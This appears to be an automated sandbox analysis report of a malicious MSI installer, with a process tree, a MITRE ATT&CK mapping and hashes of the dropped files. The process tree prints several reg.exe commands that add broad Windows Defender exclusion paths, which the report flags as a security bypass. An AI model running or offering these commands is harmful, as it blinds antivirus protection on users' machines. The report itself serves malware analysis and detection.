C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1804
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4576
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:768 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3480
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3568
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3364
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e587ea2.rbs
- Size 7KB
- SHA256 ab78ebc6ec73c73d904f88d9ac6c1626e274343c517c321dc5760319c2af2efb
- MD5 8572ce77a20f71174341c67e5e53e03b
- SHA1 a73527b49e82f9d61e17a995d8f3bfb0bb69f7d2
- SHA512 5b88ff8c7e3424fca6b493f58d8200437df77db93f8754747149e56e41049ff17e0736284f51249043a38f937d63c21047e62b5c365ae967048521ceb584b70d
- SSDEEP 96:z43uu1eO0SUUpnrD1CsThqFUpnrD1C6je1Hp/ThqlHU25yeWl0lnCKpljeHbAjBz:z4TeyzhrDIIzhrDIxjil4KpI4
- TLSH T1B8F1100666144BF2F8E66B35CB17176637E2D2E6D29433DB1CCD80241FC77982E6868E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xYuAgC\UxEnhance64.dll
- Size 3.1MB
- SHA256 63977dfe81dd89cfa9884b5b3733dbe3443639402261442405a85913ccb88df2
- MD5 3bc5de085640f4810dff35f19eb1fc0f
- SHA1 9073f39ba8699fbae3c9dd64291c09770c6e064c
- SHA512 815e181a3306eb645e76bfc0106f1a72d7a4557e7b681e02a7992bdc733c5dee416702aa1c7be4a720e8d4a1d81f17342daa3d2a40be24022e2621af6bc3adfd
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+V:P9m29xx3Tiqt06ox6+z2rNNrKoV
- TLSH T135E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xYuAgC\adoresd.dat
- Size 4.8MB
- SHA256 b9796ec7aaf458d5355c4a9f765920214748a5ec852cf6ca07096cabf769536a
- MD5 1fc100193b019c0632b4e246f223baa8
- SHA1 d6cd2bf7cca1b44d40befeb1b168f2f2175f25c4
- SHA512 1d014f6582f01409a3b23272ee010de2dd6d5ad476b0adb1d95aea188310a2a87c722e89e5f8279f66134ec1c37941cbdae3527dbaf098f0e990c235b00ae606
- SSDEEP 98304:uuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:zQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T1DB363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xYuAgC\aoaAb3.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\xYuAgC\msadox.tb
- Size 8KB
- SHA256 4fe47efa98520760bd5e2ea7021f5f9022a0b6fc4ea92537ae5de2fc60b3f34a
- MD5 4d4b19cccf173980926748330363a5d2
- SHA1 00e1a2ef709a330afb04496a4d1e2f1a978bd939
- SHA512 3ba5049e8d032753694f65100f91e17a00f70568bb1598ace548798cc17c37c626539e9c8aa3f70ee2a7b9647e1182063acc60ebd401e6f4010db0379d5a707f
- SSDEEP 192:bqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:bsZqZOXQ3uqvR2Kfzp
- TLSH T1FA029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C1670B2DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI8067.tmp
- Size 5.8MB
- SHA256 d4f0a7d05fd811fd2c9eeadb14696a445dc7b0735471390333aa464420f8f2b6
- MD5 8524ea3b8aca87d8db13ff2198e720fb
- SHA1 7fd63d851d9dd8982a4ba7d7ada736f24732fe61
- SHA512 5799efb6ce524ffec37ac5f55ccdebbc49a9d17c26eee89085a1c12f48d950026f4de87f887c14369d5d51d50db742fc56b9ca5ba0c2a46252053f4e6118e8f0
- SSDEEP 98304:kAnifxFCNdq4yN9vE1bVdEpUGoPHN9HGlZCCwCJtXG4X32KvqiHRB:kyOPsdq1N9vE1bPEiGut9HqgcPGY32K3
- TLSH T13E5633D1AA8A2A78D077D7F446976A3E701E3BD24E634C0DBAFA2F1D5D332156839301
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e587ea1.msi
- Size 5.8MB
- SHA256 82c128751707fe730a432a914ac18598e6f101a0dc025a1ee50e4f6a8ea80a5a
- MD5 2f0491dcce0e51830d495cccdcdc7fe7
- SHA1 1a510fb2a3ed28ff190937cb9ed9aa3fdd5b2736
- SHA512 2212260f9097d596fa693887b5cd35c5752ea1810a76f0962b690afbeee0fb3cbc6d24da41e0e49f8e1fc47ffc118d94141c63faed53b41ddff4af82d6ce5308
- SSDEEP 98304:3AnifxFCNdq4yN9vE1bVdEpUGoPHN9HGkZCCwCJtXG4X32KvqiHR+:3yOPsdq1N9vE1bPEiGut9HzgcPGY32K0
- TLSH T104563391BE8A2B39D027D7B44696663E702D7FD14E634C0ABAFA3F1D5E323152879340
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 08ce1f6d6e30ce875c168799ca2c4994d43d3f72ac6786dc9e9ae049a9da9f2f
- MD5 712426968b8472caa231bbe3f500c101
- SHA1 f10e9ae3d2eea7184184ffd3b2b9b2875abf5273
- SHA512 ec7b5f2d3a240f9de97f7111debacff1bf3ce5ede2754419494697c6fe97fb21b3da65e9a4c4821fba06747788959154e507a4871eda9f32c481a3fdad59eafb
- SSDEEP 24576:Au8m+1zHdoO/vvTLbWzuGWKHiakzLlzi/FW9R8iF7kaiu0qOIPlqr1YRG:s
- TLSH T11047D42832F92210E7F79F3C68F0AA2749397D579C19DE8D45411F4E0921BB1E8B2F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{73216430-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{3a895cbd-6f26-44fb-985d-c15f238915c4}_OnDiskSnapshotProp
- Size 6KB
- SHA256 7de1e6be74579038d5ce2fe5096053e6ca313efdcf09bc4398b54a9cdaaf1faf
- MD5 b508e1b045559d646772835b1941521c
- SHA1 f0e23ad43c8b529c765b7e4ae41b122faddc5023
- SHA512 0a46af984f40ba4b07f60266b7bb8e949ec83b930c78257fd200ac8a06124861b45f33c8bd2c40878dadf0087db25656b94f66e1983cfb3c58a4e7ba575d2c86
- SSDEEP 96:FDchdxyvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:9YrIb++ZVm
- TLSH T186D189185AE54711E2B3AB7129F18557A837B911EF33CB8E0198238E6630910F976F6F
- MD5 SHA1 SHA512 SSDEEP TLSH